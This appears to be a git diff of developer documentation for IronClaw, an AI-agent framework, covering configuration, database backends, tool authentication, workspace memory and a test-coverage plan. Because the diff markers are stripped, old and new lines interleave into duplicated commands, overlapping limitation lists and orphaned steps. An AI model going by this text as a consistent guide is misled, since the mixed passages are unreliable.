GATEWAY_HOST=127.0.0.1
|
||||
GATEWAY_PORT=3001
|
||||
GATEWAY_AUTH_TOKEN=changeme # Required for API access
|
||||
GATEWAY_USER_ID=default
|
||||
|
||||
# Docker sandbox
|
||||
SANDBOX_ENABLED=true
|
||||
SANDBOX_IMAGE=ironclaw-worker:latest
|
||||
SANDBOX_MEMORY_LIMIT_MB=512
|
||||
SANDBOX_TIMEOUT_SECS=1800
|
||||
|
||||
# Claude Code mode (runs inside sandbox containers)
|
||||
CLAUDE_CODE_ENABLED=false
|
||||
CLAUDE_CODE_MODEL=claude-sonnet-4-20250514
|
||||
CLAUDE_CODE_MAX_TURNS=50
|
||||
CLAUDE_CODE_CONFIG_DIR=/home/worker/.claude
|
||||
|
||||
# Routines (scheduled/reactive execution)
|
||||
ROUTINES_ENABLED=true
|
||||
ROUTINES_CRON_INTERVAL=60 # Tick interval in seconds
|
||||
ROUTINES_MAX_CONCURRENT=3
|
||||
```
|
||||
|
||||
### NEAR AI Provider
|
||||
|
||||
Uses the NEAR AI chat-api (`https://api.near.ai/v1/responses`) which provides:
|
||||
- Unified access to multiple models (OpenAI, Anthropic, etc.)
|
||||
- User authentication via session tokens
|
||||
- Usage tracking and billing through NEAR AI
|
||||
|
||||
Session tokens have the format `sess_xxx` (37 characters). They are authenticated against the NEAR AI auth service.
|
||||
|
||||
## Database
|
||||
|
||||
IronClaw supports two database backends, selected at compile time via Cargo feature flags and at runtime via the `DATABASE_BACKEND` environment variable.
|
||||
|
||||
**IMPORTANT: All new features that touch persistence MUST support both backends.** Implement the operation as a method on the `Database` trait in `src/db/mod.rs`, then add the implementation in both `src/db/postgres.rs` (delegate to Store/Repository) and `src/db/libsql_backend.rs` (native SQL).
|
||||
|
||||
### Backends
|
||||
|
||||
| Backend | Feature Flag | Default | Use Case |
|
||||
|---------|-------------|---------|----------|
|
||||
| PostgreSQL | `postgres` (default) | Yes | Production, existing deployments |
|
||||
| libSQL/Turso | `libsql` | No | Zero-dependency local mode, edge, Turso cloud |
|
||||
|
||||
```bash
|
||||
# Build with PostgreSQL only (default)
|
||||
cargo build
|
||||
|
||||
# Build with libSQL only
|
||||
cargo build --no-default-features --features libsql
|
||||
|
||||
# Build with both backends available
|
||||
cargo build --features "postgres,libsql"
|
||||
```
|
||||
|
||||
### Database Trait
|
||||
|
||||
The `Database` trait (`src/db/mod.rs`) defines ~60 async methods covering all persistence:
|
||||
- Conversations, messages, metadata
|
||||
- Jobs, actions, LLM calls, estimation snapshots
|
||||
- Sandbox jobs, job events
|
||||
- Routines, routine runs
|
||||
- Tool failures, settings
|
||||
- Workspace: documents, chunks, hybrid search
|
||||
|
||||
Both backends implement this trait. PostgreSQL delegates to the existing `Store` + `Repository`. libSQL implements native SQLite-dialect SQL.
|
||||
|
||||
### Schema
|
||||
|
||||
**PostgreSQL:** `migrations/V1__initial.sql` (351 lines). Uses pgvector for embeddings, tsvector for FTS, PL/pgSQL functions. Managed by `refinery`.
|
||||
|
||||
**libSQL:** `src/db/libsql_migrations.rs` (consolidated schema, ~480 lines). Translates PG types:
|
||||
- `UUID` -> `TEXT`, `TIMESTAMPTZ` -> `TEXT` (ISO-8601), `JSONB` -> `TEXT`
|
||||
- `VECTOR(1536)` -> `F32_BLOB(1536)` with `libsql_vector_idx`
|
||||
- `tsvector`/`ts_rank_cd` -> FTS5 virtual table with sync triggers
|
||||
- PL/pgSQL functions -> SQLite triggers
|
||||
|
||||
**Tables (both backends):**
|
||||
|
||||
**Core:**
|
||||
- `conversations` - Multi-channel conversation tracking
|
||||
- `agent_jobs` - Job metadata and status
|
||||
- `job_actions` - Event-sourced tool executions
|
||||
- `dynamic_tools` - Agent-built tools
|
||||
- `llm_calls` - Cost tracking
|
||||
- `estimation_snapshots` - Learning data
|
||||
|
||||
**Workspace/Memory:**
|
||||
- `memory_documents` - Flexible path-based files (e.g., "context/vision.md", "daily/2024-01-15.md")
|
||||
- `memory_chunks` - Chunked content with FTS and vector indexes
|
||||
- `heartbeat_state` - Periodic execution tracking
|
||||
|
||||
**Other:**
|
||||
- `routines`, `routine_runs` - Scheduled/reactive execution
|
||||
- `settings` - Per-user key-value settings
|
||||
- `tool_failures` - Self-repair tracking
|
||||
- `secrets`, `wasm_tools`, `tool_capabilities` - Extension infrastructure
|
||||
|
||||
### Configuration
|
||||
|
||||
```bash
|
||||
# Backend selection (default: postgres)
|
||||
DATABASE_BACKEND=libsql
|
||||
|
||||
# PostgreSQL
|
||||
DATABASE_URL=postgres://user:pass@localhost/ironclaw
|
||||
|
||||
# libSQL (embedded)
|
||||
LIBSQL_PATH=~/.ironclaw/ironclaw.db # Default path
|
||||
|
||||
# libSQL (Turso cloud sync)
|
||||
LIBSQL_URL=libsql://your-db.turso.io
|
||||
LIBSQL_AUTH_TOKEN=your-token # Required when LIBSQL_URL is set
|
||||
```
|
||||
|
||||
### Current Limitations (libSQL backend)
|
||||
|
||||
- **Workspace/memory system** not yet wired through Database trait (requires Store migration)
|
||||
- **Secrets store** not yet available (still requires PostgresSecretsStore)
|
||||
- **Hybrid search** uses FTS5 only (vector search via libsql_vector_idx not yet implemented)
|
||||
- **Settings reload from DB** skipped (Config::from_db requires Store)
|
||||
- No incremental migration versioning (schema is CREATE IF NOT EXISTS, no ALTER TABLE support yet)
|
||||
- **No encryption at rest** -- The local SQLite database file stores conversation content, job data, workspace memory, and other application data in plaintext. Only secrets (API tokens, credentials) are encrypted via AES-256-GCM before storage. Users handling sensitive data should use full-disk encryption (FileVault, LUKS, BitLocker) or consider the PostgreSQL backend with TDE/encrypted storage.
|
||||
- **JSON merge patch vs path-targeted update** -- The libSQL backend uses RFC 7396 JSON Merge Patch (`json_patch`) for metadata updates, while PostgreSQL uses path-targeted `jsonb_set`. Merge patch replaces top-level keys entirely, which may drop nested keys not present in the patch. Callers should avoid relying on partial nested object updates in metadata fields.
|
||||
|
||||
## Safety Layer
|
||||
|
||||
All external tool output passes through `SafetyLayer`:
|
||||
1. **Sanitizer** - Detects injection patterns, escapes dangerous content
|
||||
2. **Validator** - Checks length, encoding, forbidden patterns
|
||||
3. **Policy** - Rules with severity (Critical/High/Medium/Low) and actions (Block/Warn/Review/Sanitize)
|
||||
|
||||
Tool outputs are wrapped before reaching LLM:
|
||||
```xml
|
||||
<tool_output name="search" sanitized="true">
|
||||
[escaped content]
|
||||
</tool_output>
|
||||
```
|
||||
|
||||
## Testing
|
||||
|
||||
Tests are in `mod tests {}` blocks at the bottom of each file. Run specific module tests:
|
||||
```bash
|
||||
cargo test safety::sanitizer::tests
|
||||
cargo test tools::registry::tests
|
||||
```
|
||||
|
||||
Key test patterns:
|
||||
- Unit tests for pure functions
|
||||
- Async tests with `#[tokio::test]`
|
||||
- No mocks, prefer real implementations or stubs
|
||||
|
||||
## Current Limitations / TODOs
|
||||
|
||||
1. **Domain-specific tools** - `marketplace.rs`, `restaurant.rs`, `taskrabbit.rs`, `ecommerce.rs` return placeholder responses; need real API integrations
|
||||
2. **Integration tests** - Need testcontainers setup for PostgreSQL
|
||||
3. **MCP stdio transport** - Only HTTP transport implemented
|
||||
4. **WIT bindgen integration** - Auto-extract tool description/schema from WASM modules (stubbed)
|
||||
5. **Capability granting after tool build** - Built tools get empty capabilities; need UX for granting HTTP/secrets access
|
||||
6. **Tool versioning workflow** - No version tracking or rollback for dynamically built tools
|
||||
7. **Webhook trigger endpoint** - Routines webhook trigger not yet exposed in web gateway
|
||||
8. **Full channel status view** - Gateway status widget exists, but no per-channel connection dashboard
|
||||
|
||||
### Completed
|
||||
|
||||
- ✅ **Workspace integration** - Memory tools registered, workspace passed to Agent and heartbeat
|
||||
- ✅ **WASM sandboxing** - Full implementation in `tools/wasm/` with fuel metering, memory limits, capabilities
|
||||
- ✅ **Dynamic tool building** - `tools/builder/` has LlmSoftwareBuilder with iterative build loop
|
||||
- ✅ **HTTP webhook security** - Secret validation implemented, proper error handling (no panics)
|
||||
- ✅ **Embeddings integration** - OpenAI and NEAR AI providers wired to workspace for semantic search
|
||||
- ✅ **Workspace system prompt** - Identity files (AGENTS.md, SOUL.md, USER.md, IDENTITY.md) injected into LLM context
|
||||
- ✅ **Heartbeat notifications** - Route through channel manager (broadcast API) instead of logging-only
|
||||
- ✅ **Auto-context compaction** - Triggers automatically when context exceeds threshold
|
||||
- ✅ **Embedding backfill** - Runs on startup when embeddings provider is enabled
|
||||
- ✅ **Clippy clean** - All warnings addressed via config struct refactoring
|
||||
- ✅ **Tool approval enforcement** - Tools with `requires_approval()` (shell, http, file write/patch, build_software) now gate execution, track auto-approved tools per session
|
||||
- ✅ **Tool definition refresh** - Tool definitions refreshed each iteration so newly built tools become visible in same session
|
||||
- ✅ **Worker tool call handling** - Uses `respond_with_tools()` to properly execute tool calls when `select_tools()` returns empty
|
||||
- ✅ **Gateway control plane** - Web gateway with 40+ API endpoints, SSE/WebSocket
|
||||
- ✅ **Web Control UI** - Browser-based dashboard with chat, memory, jobs, logs, extensions, routines
|
||||
- ✅ **Slack/Telegram channels** - Implemented as WASM tools
|
||||
- ✅ **Docker sandbox** - Orchestrator/worker containers with per-job auth
|
||||
- ✅ **Claude Code mode** - Delegate jobs to Claude CLI inside containers
|
||||
- ✅ **Routines system** - Cron, event, webhook, and manual triggers with guardrails
|
||||
- ✅ **Extension management** - Install, auth, activate MCP/WASM extensions via CLI and web UI
|
||||
- ✅ **libSQL/Turso backend** - Database trait abstraction (`src/db/`), feature-gated dual backend support (postgres/libsql), embedded SQLite for zero-dependency local mode
|
||||
|
||||
## Adding a New Tool
|
||||
|
||||
### Built-in Tools (Rust)
|
||||
|
||||
1. Create `src/tools/builtin/my_tool.rs`
|
||||
2. Implement the `Tool` trait
|
||||
3. Add `mod my_tool;` and `pub use` in `src/tools/builtin/mod.rs`
|
||||
4. Register in `ToolRegistry::register_builtin_tools()` in `registry.rs`
|
||||
5. Add tests
|
||||
|
||||
### WASM Tools (Recommended)
|
||||
|
||||
WASM tools are the preferred way to add new capabilities. They run in a sandboxed environment with explicit capabilities.
|
||||
|
||||
1. Create a new crate in `tools-src/<name>/`
|
||||
2. Implement the WIT interface (`wit/tool.wit`)
|
||||
3. Create `<name>.capabilities.json` declaring required permissions
|
||||
4. Build with `cargo build --target wasm32-wasip2 --release`
|
||||
5. Install with `ironclaw tool install path/to/tool.wasm`
|
||||
|
||||
See `tools-src/` for examples.
|
||||
|
||||
## Tool Architecture Principles
|
||||
|
||||
**CRITICAL: Keep tool-specific logic out of the main agent codebase.**
|
||||
|
||||
The main agent provides generic infrastructure; tools are self-contained units that declare their requirements through capabilities files.
|
||||
|
||||
### What Goes in Tools (capabilities.json)
|
||||
|
||||
- API endpoints the tool needs (HTTP allowlist)
|
||||
- Credentials required (secret names, injection locations)
|
||||
- Rate limits and timeouts
|
||||
- Auth setup instructions (see below)
|
||||
- Workspace paths the tool can read
|
||||
|
||||
### What Does NOT Go in Main Agent
|
||||
|
||||
- Service-specific auth flows (OAuth for Notion, Slack, etc.)
|
||||
- Service-specific CLI commands (`auth notion`, `auth slack`)
|
||||
- Service-specific configuration handling
|
||||
- Hardcoded API URLs or token formats
|
||||
|
||||
### Tool Authentication
|
||||
|
||||
Tools declare their auth requirements in `<tool>.capabilities.json` under the `auth` section. Two methods are supported:
|
||||
|
||||
#### OAuth (Browser-based login)
|
||||
|
||||
For services that support OAuth, users just click through browser login:
|
||||
|
||||
```json
|
||||
{
|
||||
"auth": {
|
||||
"secret_name": "notion_api_token",
|
||||
"display_name": "Notion",
|
||||
"oauth": {
|
||||
"authorization_url": "https://api.notion.com/v1/oauth/authorize",
|
||||
"token_url": "https://api.notion.com/v1/oauth/token",
|
||||
"client_id_env": "NOTION_OAUTH_CLIENT_ID",
|
||||
"client_secret_env": "NOTION_OAUTH_CLIENT_SECRET",
|
||||
"scopes": [],
|
||||
"use_pkce": false,
|
||||
"extra_params": { "owner": "user" }
|
||||
},
|
||||
"env_var": "NOTION_TOKEN"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
To enable OAuth for a tool:
|
||||
1. Register a public OAuth app with the service (e.g., notion.so/my-integrations)
|
||||
2. Configure redirect URIs: `http://localhost:9876/callback` through `http://localhost:9886/callback`
|
||||
3. Set environment variables for client_id and client_secret
|
||||
|
||||
#### Manual Token Entry (Fallback)
|
||||
|
||||
For services without OAuth or when OAuth isn't configured:
|
||||
|
||||
```json
|
||||
{
|
||||
"auth": {
|
||||
"secret_name": "openai_api_key",
|
||||
"display_name": "OpenAI",
|
||||
"instructions": "Get your API key from platform.openai.com/api-keys",
|
||||
"setup_url": "https://platform.openai.com/api-keys",
|
||||
"token_hint": "Starts with 'sk-'",
|
||||
"env_var": "OPENAI_API_KEY"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### Auth Flow Priority
|
||||
|
||||
When running `ironclaw tool auth <tool>`:
|
||||
|
||||
1. Check `env_var` - if set in environment, use it directly
|
||||
2. Check `oauth` - if configured, open browser for OAuth flow
|
||||
3. Fall back to `instructions` + manual token entry
|
||||
|
||||
The agent reads auth config from the tool's capabilities file and provides the appropriate flow. No service-specific code in the main agent.
|
||||
|
||||
### WASM Tools vs MCP Servers: When to Use Which
|
||||
|
||||
Both are first-class in the extension system (`ironclaw tool install` handles both), but they have different strengths.
|
||||
|
||||
**WASM Tools (IronClaw native)**
|
||||
|
||||
- Sandboxed: fuel metering, memory limits, no access except what's allowlisted
|
||||
- Credentials injected by host runtime, tool code never sees the actual token
|
||||
- Output scanned for secret leakage before returning to the LLM
|
||||
- Auth (OAuth/manual) declared in `capabilities.json`, agent handles the flow
|
||||
- Single binary, no process management, works offline
|
||||
- Cost: must build yourself in Rust, no ecosystem, synchronous only
|
||||
|
||||
**MCP Servers (Model Context Protocol)**
|
||||
|
||||
- Growing ecosystem of pre-built servers (GitHub, Notion, Postgres, etc.)
|
||||
- Any language (TypeScript/Python most common)
|
||||
- Can do websockets, streaming, background polling
|
||||
- Cost: external process with full system access (no sandbox), manages own credentials, IronClaw can't prevent leaks
|
||||
|
||||
**Decision guide:**
|
||||
|
||||
| Scenario | Use |
|
||||
|----------|-----|
|
||||
| Good MCP server already exists | **MCP** |
|
||||
| Handles sensitive credentials (email send, banking) | **WASM** |
|
||||
| Quick prototype or one-off integration | **MCP** |
|
||||
| Core capability you'll maintain long-term | **WASM** |
|
||||
| Needs background connections (websockets, polling) | **MCP** |
|
||||
| Multiple tools share one OAuth token (e.g., Google suite) | **WASM** |
|
||||
|
||||
The LLM-facing interface is identical for both (tool name, schema, execute), so swapping between them is transparent to the agent.
|
||||
|
||||
## Adding a New Channel
|
||||
|
||||
1. Create `src/channels/my_channel.rs`
|
||||
2. Implement the `Channel` trait
|
||||
3. Add config in `src/config/channels.rs`
|
||||
4. Wire up in `src/app.rs` channel setup section
|
||||
|
||||
## Workspace & Memory
|
||||
|
||||
Persistent memory with hybrid search (FTS + vector via RRF). Four tools: `memory_search`, `memory_write`, `memory_read`, `memory_tree`. Identity files (AGENTS.md, SOUL.md, USER.md, IDENTITY.md) injected into system prompt. Heartbeat system runs proactive periodic execution (default: 30 minutes), reading `HEARTBEAT.md` and notifying via channel if findings. See `src/workspace/README.md`.
|
||||
3. Add config in `src/config.rs`
|
||||
4. Wire up in `main.rs` channel setup section
|
||||
|
||||
## Debugging
|
||||
|
||||
```bash
|
||||
RUST_LOG=ironclaw=trace cargo run # verbose
|
||||
RUST_LOG=ironclaw::agent=debug cargo run # agent module only
|
||||
RUST_LOG=ironclaw=debug,tower_http=debug cargo run # + HTTP request logging
|
||||
# Verbose logging
|
||||
RUST_LOG=ironclaw=trace cargo run
|
||||
|
||||
# Just the agent module
|
||||
RUST_LOG=ironclaw::agent=debug cargo run
|
||||
|
||||
# With HTTP request logging
|
||||
RUST_LOG=ironclaw=debug,tower_http=debug cargo run
|
||||
```
|
||||
|
||||
## Current Limitations
|
||||
## Code Style
|
||||
|
||||
1. Domain-specific tools (`marketplace.rs`, `restaurant.rs`, etc.) are stubs
|
||||
2. Integration tests need testcontainers for PostgreSQL
|
||||
3. MCP: no streaming support; stdio/HTTP/Unix transports all use request-response
|
||||
4. WIT bindgen: auto-extract tool schema from WASM is stubbed
|
||||
5. Built tools get empty capabilities; need UX for granting access
|
||||
6. No tool versioning or rollback
|
||||
7. Observability: only `log` and `noop` backends (no OpenTelemetry)
|
||||
- Use `crate::` imports, not `super::`
|
||||
- No `pub use` re-exports unless exposing to downstream consumers
|
||||
- Prefer strong types over strings (enums, newtypes)
|
||||
- Keep functions focused, extract helpers when logic is reused
|
||||
- Comments for non-obvious logic only
|
||||
|
||||
## Review & Fix Discipline
|
||||
|
||||
Hard-won lessons from code review -- follow these when fixing bugs or addressing review feedback.
|
||||
|
||||
### Fix the pattern, not just the instance
|
||||
When a reviewer flags a bug (e.g., TOCTOU race in INSERT + SELECT-back), search the entire codebase for all instances of that same pattern. A fix in `SecretsStore::create()` that doesn't also fix `WasmToolStore::store()` is half a fix.
|
||||
|
||||
### Propagate architectural fixes to satellite types
|
||||
If a core type changes its concurrency model (e.g., `LibSqlBackend` switches to connection-per-operation), every type that was handed a resource from the old model (e.g., `LibSqlSecretsStore`, `LibSqlWasmToolStore` holding a single `Connection`) must also be updated. Grep for the old type across the codebase.
|
||||
|
||||
### Schema translation is more than DDL
|
||||
When translating a database schema between backends (PostgreSQL to libSQL, etc.), check for:
|
||||
- **Indexes** -- diff `CREATE INDEX` statements between the two schemas
|
||||
- **Seed data** -- check for `INSERT INTO` in migrations (e.g., `leak_detection_patterns`)
|
||||
- **Semantic differences** -- document where SQL functions behave differently (e.g., `json_patch` vs `jsonb_set`)
|
||||
|
||||
### Feature flag testing
|
||||
When adding feature-gated code, test compilation with each feature in isolation:
|
||||
```bash
|
||||
cargo check # default features
|
||||
cargo check --no-default-features --features libsql # libsql only
|
||||
cargo check --all-features # all features
|
||||
```
|
||||
Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature.
|
||||
|
||||
### Mechanical verification before committing
|
||||
Run these checks on changed files before committing:
|
||||
- `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
|
||||
- `grep -rn 'super::' <files>` -- use `crate::` imports
|
||||
- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/`
|
||||
|
||||
## Workspace & Memory System
|
||||
|
||||
Inspired by [OpenClaw](https://github.com/openclaw/openclaw), the workspace provides persistent memory for agents with a flexible filesystem-like structure.
|
||||
|
||||
### Key Principles
|
||||
|
||||
1. **"Memory is database, not RAM"** - If you want to remember something, write it explicitly
|
||||
2. **Flexible structure** - Create any directory/file hierarchy you need
|
||||
3. **Self-documenting** - Use README.md files to describe directory structure
|
||||
4. **Hybrid search** - Combines FTS (keyword) + vector (semantic) via Reciprocal Rank Fusion
|
||||
|
||||
### Filesystem Structure
|
||||
|
||||
```
|
||||
workspace/
|
||||
├── README.md <- Root runbook/index
|
||||
├── MEMORY.md <- Long-term curated memory
|
||||
├── HEARTBEAT.md <- Periodic checklist
|
||||
├── IDENTITY.md <- Agent name, nature, vibe
|
||||
├── SOUL.md <- Core values
|
||||
├── AGENTS.md <- Behavior instructions
|
||||
├── USER.md <- User context
|
||||
├── context/ <- Identity-related docs
|
||||
│ ├── vision.md
|
||||
│ └── priorities.md
|
||||
├── daily/ <- Daily logs
|
||||
│ ├── 2024-01-15.md
|
||||
│ └── 2024-01-16.md
|
||||
├── projects/ <- Arbitrary structure
|
||||
│ └── alpha/
|
||||
│ ├── README.md
|
||||
│ └── notes.md
|
||||
└── ...
|
||||
```
|
||||
|
||||
### Using the Workspace
|
||||
|
||||
```rust
|
||||
use crate::workspace::{Workspace, OpenAiEmbeddings, paths};
|
||||
|
||||
// Create workspace for a user
|
||||
let workspace = Workspace::new("user_123", pool)
|
||||
.with_embeddings(Arc::new(OpenAiEmbeddings::new(api_key)));
|
||||
|
||||
// Read/write any path
|
||||
let doc = workspace.read("projects/alpha/notes.md").await?;
|
||||
workspace.write("context/priorities.md", "# Priorities\n\n1. Feature X").await?;
|
||||
workspace.append("daily/2024-01-15.md", "Completed task X").await?;
|
||||
|
||||
// Convenience methods for well-known files
|
||||
workspace.append_memory("User prefers dark mode").await?;
|
||||
workspace.append_daily_log("Session note").await?;
|
||||
|
||||
// List directory contents
|
||||
let entries = workspace.list("projects/").await?;
|
||||
|
||||
// Search (hybrid FTS + vector)
|
||||
let results = workspace.search("dark mode preference", 5).await?;
|
||||
|
||||
// Get system prompt from identity files
|
||||
let prompt = workspace.system_prompt().await?;
|
||||
```
|
||||
|
||||
### Memory Tools
|
||||
|
||||
Four tools for LLM use:
|
||||
|
||||
- **`memory_search`** - Hybrid search, MUST be called before answering questions about prior work
|
||||
- **`memory_write`** - Write to any path (memory, daily_log, or custom paths)
|
||||
- **`memory_read`** - Read any file by path
|
||||
- **`memory_tree`** - View workspace structure as a tree (depth parameter, default 1)
|
||||
|
||||
### Hybrid Search (RRF)
|
||||
|
||||
Combines full-text search and vector similarity using Reciprocal Rank Fusion:
|
||||
|
||||
```
|
||||
score(d) = Σ 1/(k + rank(d)) for each method where d appears
|
||||
```
|
||||
|
||||
Default k=60. Results from both methods are combined, with documents appearing in both getting boosted scores.
|
||||
|
||||
**Backend differences:**
|
||||
- **PostgreSQL:** `ts_rank_cd` for FTS, pgvector cosine distance for vectors, full RRF
|
||||
- **libSQL:** FTS5 for keyword search only (vector search via `libsql_vector_idx` not yet wired)
|
||||
|
||||
### Heartbeat System
|
||||
|
||||
Proactive periodic execution (default: 30 minutes):
|
||||
|
||||
1. Reads `HEARTBEAT.md` checklist
|
||||
2. Runs agent turn with checklist prompt
|
||||
3. If findings, notifies via channel
|
||||
4. If nothing, agent replies "HEARTBEAT_OK" (no notification)
|
||||
|
||||
```rust
|
||||
use crate::agent::{HeartbeatConfig, spawn_heartbeat};
|
||||
|
||||
let config = HeartbeatConfig::default()
|
||||
.with_interval(Duration::from_secs(60 * 30))
|
||||
.with_notify("user_123", "telegram");
|
||||
|
||||
spawn_heartbeat(config, workspace, llm, response_tx);
|
||||
```
|
||||
|
||||
### Chunking Strategy
|
||||
|
||||
Documents are chunked for search indexing:
|
||||
- Default: 800 words per chunk (roughly 800 tokens for English)
|
||||
- 15% overlap between chunks for context preservation
|
||||
- Minimum chunk size: 50 words (tiny trailing chunks merge with previous)
|
||||
|
||||
@@ -1,34 +1,5 @@
|
||||
# Contributing
|
||||
|
||||
## Getting Started
|
||||
|
||||
```bash
|
||||
git clone https://github.com/nearai/ironclaw.git
|
||||
cd ironclaw
|
||||
./scripts/dev-setup.sh
|
||||
```
|
||||
|
||||
This installs the Rust toolchain, WASM targets, git hooks, and runs initial checks.
|
||||
|
||||
## Development Workflow
|
||||
|
||||
```bash
|
||||
cargo fmt # format
|
||||
cargo clippy --all --benches --tests --examples --all-features # lint (zero warnings)
|
||||
cargo test # unit tests
|
||||
cargo test --features integration # + PostgreSQL tests
|
||||
```
|
||||
|
||||
## Code Style
|
||||
|
||||
- Zero clippy warnings policy
|
||||
- No `.unwrap()` or `.expect()` in production code (tests are fine)
|
||||
- Use `thiserror` for error types, map errors with context
|
||||
- Prefer `crate::` for cross-module imports
|
||||
- Comments for non-obvious logic only
|
||||
|
||||
See `CLAUDE.md` for full style guidelines.
|
||||
|
||||
## Feature Parity Requirement
|
||||
|
||||
When your change affects a tracked capability, update `FEATURE_PARITY.md` in the same branch.
|
||||
@@ -38,23 +9,3 @@ When your change affects a tracked capability, update `FEATURE_PARITY.md` in the
|
||||
1. Review the relevant parity rows in `FEATURE_PARITY.md`.
|
||||
2. Update status/notes if behavior changed.
|
||||
3. Include the `FEATURE_PARITY.md` diff in your commit when applicable.
|
||||
|
||||
## Review Tracks
|
||||
|
||||
All PRs follow a risk-based review process:
|
||||
|
||||
| Track | Scope | Requirements |
|
||||
|-------|-------|-------------|
|
||||
| **A** | Docs, tests, chore, dependency bumps | 1 approval + CI green |
|
||||
| **B** | Features, refactors, new tools/channels | 1 approval + CI green + test evidence |
|
||||
| **C** | Security (`src/safety/`, `src/secrets/`), runtime (`src/agent/`, `src/worker/`), database schema, CI workflows | 2 approvals + rollback plan documented |
|
||||
|
||||
Select the appropriate track in the PR template based on what your changes touch.
|
||||
|
||||
## Database Changes
|
||||
|
||||
IronClaw uses dual-backend persistence (PostgreSQL + libSQL). All new persistence features must support both backends. See `src/db/CLAUDE.md`.
|
||||
|
||||
## Adding Dependencies
|
||||
|
||||
Run `cargo deny check` before adding new dependencies to verify license compatibility and check for known advisories.
|
||||
|
||||
@@ -1,862 +0,0 @@
|
||||
# IronClaw Coverage Plan: 63.3% to 95%
|
||||
|
||||
> Generated 2025-03-06 from [Codecov](https://app.codecov.io/gh/nearai/ironclaw/tree/main/src)
|
||||
|
||||
## Current State
|
||||
|
||||
| Metric | Value |
|
||||
|--------|-------|
|
||||
| **Current coverage** | 48,571 / 76,694 lines = **63.33%** |
|
||||
| **Target** | 72,859 / 76,694 lines = **95.0%** |
|
||||
| **Gap** | **24,288 lines** need coverage |
|
||||
| **Files >= 95%** | 43 / 239 |
|
||||
| **Files < 95%** | 196 (27,872 total misses) |
|
||||
|
||||
## Module Summary
|
||||
|
||||
Sorted by uncovered lines (descending):
|
||||
|
||||
| Module | Lines | Hits | Miss | Coverage | Priority |
|
||||
|--------|------:|-----:|-----:|---------:|----------|
|
||||
| `channels/` | 14,079 | 8,677 | 5,402 | 61.6% | P0 |
|
||||
| `tools/` | 13,445 | 9,407 | 4,038 | 70.0% | P1 |
|
||||
| `agent/` | 9,152 | 6,096 | 3,056 | 66.6% | P0 |
|
||||
| `setup/` | 3,005 | 462 | 2,543 | 15.4% | P1 |
|
||||
| `extensions/` | 3,540 | 1,298 | 2,242 | 36.7% | P0 |
|
||||
| `cli/` | 2,834 | 697 | 2,137 | 24.6% | P1 |
|
||||
| `history/` | 1,626 | 0 | 1,626 | 0.0% | P0 |
|
||||
| `llm/` | 7,029 | 5,776 | 1,253 | 82.2% | P2 |
|
||||
| `(root)` | 4,122 | 3,121 | 1,001 | 75.7% | P2 |
|
||||
| `worker/` | 1,274 | 480 | 794 | 37.7% | P1 |
|
||||
| `sandbox/` | 1,615 | 897 | 718 | 55.5% | P2 |
|
||||
| `registry/` | 1,588 | 1,107 | 481 | 69.7% | P2 |
|
||||
| `db/` | 921 | 441 | 480 | 47.9% | P1 |
|
||||
| `workspace/` | 2,006 | 1,584 | 422 | 79.0% | P2 |
|
||||
| `orchestrator/` | 1,199 | 795 | 404 | 66.3% | P2 |
|
||||
| `config/` | 1,464 | 1,095 | 369 | 74.8% | P2 |
|
||||
| `hooks/` | 1,379 | 1,081 | 298 | 78.4% | P2 |
|
||||
| `secrets/` | 687 | 407 | 280 | 59.2% | P2 |
|
||||
| `skills/` | 1,714 | 1,585 | 129 | 92.5% | P3 |
|
||||
| `context/` | 693 | 586 | 107 | 84.6% | P3 |
|
||||
| `estimation/` | 467 | 369 | 98 | 79.0% | P3 |
|
||||
| `safety/` | 1,424 | 1,337 | 87 | 93.9% | P3 |
|
||||
| `evaluation/` | 226 | 152 | 74 | 67.3% | P3 |
|
||||
| `pairing/` | 498 | 446 | 52 | 89.6% | P3 |
|
||||
| `tunnel/` | 391 | 368 | 23 | 94.1% | P3 |
|
||||
| `observability/` | 316 | 307 | 9 | 97.2% | Done |
|
||||
|
||||
## Top 40 Files by Uncovered Lines
|
||||
|
||||
These files account for the vast majority of the coverage gap:
|
||||
|
||||
| File | Lines | Miss | Coverage | Lines to 95% |
|
||||
|------|------:|-----:|---------:|--------------:|
|
||||
| `src/extensions/manager.rs` | 2,404 | 2,083 | 13.3% | 1,962 |
|
||||
| `src/setup/wizard.rs` | 2,150 | 1,789 | 16.8% | 1,681 |
|
||||
| `src/history/store.rs` | 1,486 | 1,486 | 0.0% | 1,411 |
|
||||
| `src/channels/web/server.rs` | 1,985 | 993 | 50.0% | 893 |
|
||||
| `src/channels/wasm/wrapper.rs` | 2,237 | 934 | 58.2% | 822 |
|
||||
| `src/agent/thread_ops.rs` | 1,044 | 763 | 26.9% | 710 |
|
||||
| `src/cli/tool.rs` | 757 | 735 | 2.9% | 697 |
|
||||
| `src/setup/channels.rs` | 645 | 596 | 7.6% | 563 |
|
||||
| `src/agent/commands.rs` | 587 | 587 | 0.0% | 557 |
|
||||
| `src/main.rs` | 740 | 522 | 29.4% | 485 |
|
||||
| `src/channels/web/handlers/jobs.rs` | 513 | 456 | 11.1% | 430 |
|
||||
| `src/tools/builder/core.rs` | 524 | 456 | 13.0% | 429 |
|
||||
| `src/worker/job.rs` | 1,078 | 467 | 56.7% | 413 |
|
||||
| `src/channels/web/handlers/chat.rs` | 564 | 417 | 26.1% | 388 |
|
||||
| `src/tools/wasm/wrapper.rs` | 1,005 | 436 | 56.6% | 385 |
|
||||
| `src/channels/signal.rs` | 1,814 | 472 | 74.0% | 381 |
|
||||
| `src/tools/mcp/auth.rs` | 472 | 378 | 19.9% | 354 |
|
||||
| `src/worker/container.rs` | 350 | 330 | 5.7% | 312 |
|
||||
| `src/tools/builtin/job.rs` | 1,014 | 359 | 64.6% | 308 |
|
||||
| `src/cli/mcp.rs` | 322 | 319 | 0.9% | 302 |
|
||||
| `src/cli/oauth_defaults.rs` | 730 | 335 | 54.1% | 298 |
|
||||
| `src/llm/nearai_chat.rs` | 854 | 340 | 60.2% | 297 |
|
||||
| `src/sandbox/container.rs` | 407 | 317 | 22.1% | 296 |
|
||||
| `src/tools/mcp/client.rs` | 341 | 291 | 14.7% | 273 |
|
||||
| `src/registry/installer.rs` | 765 | 311 | 59.3% | 272 |
|
||||
| `src/orchestrator/job_manager.rs` | 405 | 270 | 33.3% | 249 |
|
||||
